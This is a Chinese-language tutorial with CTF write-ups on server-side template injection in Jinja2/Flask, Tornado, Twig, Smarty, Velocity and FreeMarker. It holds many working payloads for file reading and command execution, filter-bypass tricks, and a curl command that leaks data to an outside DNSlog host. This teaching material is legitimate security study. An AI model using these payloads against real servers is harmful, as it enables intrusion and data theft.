SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致SSTI模板注入,对大多数脚本类型均存在该注入。
python常见的模板有:Jinja2,tornado
python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{{1+1}}会被解析成2。
以一道ctf例题展示模板框架及利用方法:
源码:
import flask
import os
app = flask.Flask(__name__)
#用当前模块的路径初始化app,__name__是系统变量即程序主模块或者包的名字,该变量指的是本py文件的文件名。
app.config['FLAG'] = os.environ.pop('FLAG')
#设置一个配置:app.config[‘FLAG’]就是当前app下一个变量名为’FLAG’的配置,
#它的值等于os.environ.pop(‘FLAG’)移除环境变量中的键名为’FLAG’的值。
#访问http://ip/,则执行index()函数打开当前文件,读取文件内容,返回文件源码
@app.route('/')
def index():
return open(__file__).read()
#访问http://ip/shrine/,则调用flask.render_template_string函数
#返回渲染模板字符串safe_jinja(shrine)
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') #先去掉s字符串变量中的“(”和“)”左右括号
blacklist = ['config', 'self'] #过滤掉config, self 关键字
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine)) #渲染模板
if __name__ == '__main__':
app.run(debug=True)
shrine路径下,构造Python模板注入,发现存在模板注入
过滤了括号和关键字,所以带括号的魔法函数都不能使用,可以利用其他Python内置函数
Python中常用于SSTI的魔术方法
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
app.config['FLAG'] = os.environ.pop('FLAG')
这道题中的目的是读取配置文件中变量名为’FLAG’的值,也就是环境变量中的键名为’FLAG’的值,但是config、self参数的值设为None,无法直接查看,可利用如下两种函数:
用url_for函数来查看当前包中所有的静态文件,其中包括了配置文件。
其中’current_app’:
flash()
用于闪现(可以理解为发送)一个消息。在模板中,使用 get_flashed_messages()
来获取消息(闪现信息只能取出一次,取出后闪现信息会被清空)。
flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:{% with messages = get_flashed_messages() %}
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:{% with messages = get_flashed_messages(with_categories=true) %}
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:{% with messages = get_flashed_messages(category_filter=[“username”])
所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:
http://61.147.171.105:54585/shrine/{{get_flashed_messages.__globals__}}
1.config
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
2.self
{{self}} ⇒
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
3.""、[]、()等数据结构
主要目的是配合__class__.__mro__[]这样找到object类
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等),与上面的wp类似
例如:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#获取''字符串的所属对象
>>> ''.__class__
#获取str类的父类
>>> ''.__class__.__mro__
(, )
#获取object类的所有子类
>>> ''.__class__.__mro__[1].__subclasses__()
[, , , , , , , , , , , ...
#有很多类,后面省略
现在只需要从这些类中寻找需要的类,用数组下标获取,然后执行该类中想要执行的函数即可。比如第21个类是file类,就可以构造利用:
''.__class__.__mro__[2].__subclasses__()[20]('').read()
再比如,如果没有file类,使用类
,可以进行文件的读取。
''.__class__.__mro__[2].__subclasses__()[20].get_data(0,"")
1.过滤[]
和.
只过滤[]
(1) .pop()绕过(慎用,因为会删除相应的值)
可以返回指定序列属性中的某个索引处的元素或指定字典属性某个键对应的值,如下:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
(2)__getitem__() 可以输出序列属性中的某个索引处的元素,如:
"".__class__.__mro__[2]与"".__class__.__mro__.__getitem__(2)是等价的
若.也被过滤
(1)使用原生JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
(2)利用[]绕过
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
2.过滤引号
(1)利用request绕过
request.args.name/request.cookies.name/request.headers.name/request.values.name/request.form.name
利用这些都可以实现绕过,其中args接受GET传参,values接受POST传参,cookies接受cookie传参
例如:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen('cat flag').read()}}
由于‘’被过滤了,于是可以换成下面这个语句:
?name={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat flag
(2)char绕过
先爆破看你的目标环境char在哪
{{().__class__.__base__.__subclasses__()[33].__init__.__globals__.__builtins__.chr}}
然后再把char赋给cha,再使用char()的形式替换引号内的命令
如:执行
{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen('whoami').read()}}
则执行
{% set c = ().__class__.__base__.__subclasses__()[33].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[137].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
3.过滤下划线_
利用request.args属性
要执行:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
则执行
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
4.过滤花括号{{
使用{% if ... %}1{% endif %}
,例如
(1)用{%....%}转载循环控制语句绕过
(2)用{%print(.....)%}
{%print(''.__class__.__base__.__subclasses__()[103].__init__.__globals__['os'].popen('ls').read())%}
(3)也可以用curl配合DNSlog外带数据
{% if ().__class__.__base__.__subclasses__()[33].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}
5.引号内十六进制绕过
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
6." ’ chr等被过滤,无法引入字符串
直接拼接键名
dict(buil=aa,tins=dd)|join()
利用string
、pop
、list
、slice
、first
等过滤器从已有变量里面直接找
(app.__doc__|list()).pop(102)|string()
构造出%
和c
后,用格式化字符串代替chr
{%set udl=dict(a=pc,c=c).values()|join %} # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}
7.+等被过滤,无法拼接字符串
~
在jinja2中可以拼接字符串8.过滤关键字
比如经常会过滤flag
#字符串拼接绕过
{{[].__class__.__base__.__subclasses__()[20].__init__.__globals__['linecache']['os'].popen('cat /fl'+'ag').read()}}
#编码绕过base64/Unicode编码/Hex编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#引号绕过,可以用 fl""ag 或 fl''ag 的形式来绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
#join函数绕过
print("fla".join("/g"))
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
以一道BUUCTF的题来演示一下tornado render模板注入:
打开题目网站,发现存在三个文件,都打开看了下,在hint.txt文件中发现提示:
在flag.txt文件中也有提示flag在/fllllllllllllag文件中:
现在可以构造:filename=/fllllllllllllag&filehash=?
,现在只有知道cookie_secret就可以构造出完整的payload。
welcome.txt文件中提示到render,渲染。
修改链接中的filename值,会发现链接跳转到一个错误页面。
tornado官方文档中指出cookie_secret
在handler.settings
中,访问
/error?msg={{handler.settings}}
经过两次MD5加密计算,构造payload,得到flag
php常见的模板:twig,smarty,blade
Twig模板语法官方文档
文件读取
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(20)}}
常见payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"
看名字觉得和cookie注入有关,打开后看看hint的源代码:
打开flag界面发现有个注入点,抓包看看
发现cookie,而且输入的username在返回中看到了,sql注入不存在,应该是ssti模板注入
尝试注入{{7*‘7’}},返回49,说明是Twig模板;但是如果返回7777777,则说明是Jinia2模板
返回49,证明是twig框架的漏洞,这个模板有固定的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
修改cookie中注入点user的值,可得到flag
Smarty-SSTI常规利用方式
{$smarty.version} #获取smarty的版本号
{php}phpinfo();{/php} #执行相应的php代码
#{literal} 可以让一个模板区域的字符原样输出, 这经常用于保护页面上的Javascript或css样式表
这种写法只适用于php5环境
{if phpinfo()}{/if} #每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif}
smary中的{if}标签中可以执行的php语句:
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
进入环境 发现出现这个:
pass a parameter and maybe the flag file's filename is random :>
传递一个参数,可能标记文件的文件名是随机的
于是传一下参,在原网页后面加上/?a=2,发现网页出现了变化
是smarty模板引擎的东西,试着注入
代码审计:
pass a parameter and maybe the flag file's filename is random :> ";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
总结:get的值传给value 然后用正则匹配value,发现符合则输出template.html
所以我们的目标就是要绕过前两个正则
因为flag被过滤了所以不能查找flag
发现ls没有过滤 于是先试试ls
因为php中的system函数和exec函数,shell_exec函数都被过滤了,所以执行命令只能用passthru函数来执行。
?a={if passthru("ls -l")}{/if}
发现没有什么有用的信息
于是再翻下根目录
?a={if passthru("ls /")}{/if}
考虑把 _20199打开
但是打开命令cat被禁,可以用vi命令、tac命令或者more命令打开,得到flag。
?a={if passthru("vi /_20199")}{/if}
?a={if passthru("more /_20199")}{/if}
?id={if passthru("tac /_20199")}{/if}
基本语法
语句标识符
#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。
变量
$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a
声明
set用于声明Velocity脚本变量,变量可以在脚本中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释
单行注释为##,多行注释为成对出现的#* ............. *#
条件语句
以if/else为例:
#if($foo<10)
1
#elseif($foo==10)
2
#elseif($bar==6)
3
#else
4
#end
转义字符
如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$
使用Velocity主要流程为:
代码示例:
package Velocity;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class VelocityTest {
public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}
通过 VelocityEngine 创建模板引擎,接着 velocityEngine.setProperty 设置模板路径 src/main/resources、加载器类型为file,最后通过 velocityEngine.init() 完成引擎初始化。
通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文。
通过 getTemplate 选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果,然后将上下文变量传入 template.merge 进行渲染。
FreeMarker模板代码:
Welcome!
<#–这是注释–>
Welcome ${user}!
Our latest product:
${latestProduct.name}!
模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${...} 的部分, 之后将结果发送到访问者的Web浏览器中。
主要的用法如下:
<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new(40)>
调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Execute
freemarker.template.utility 里的Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
freemarker.template.utility 里的ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()
freemarker.template.utility 里的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")@value>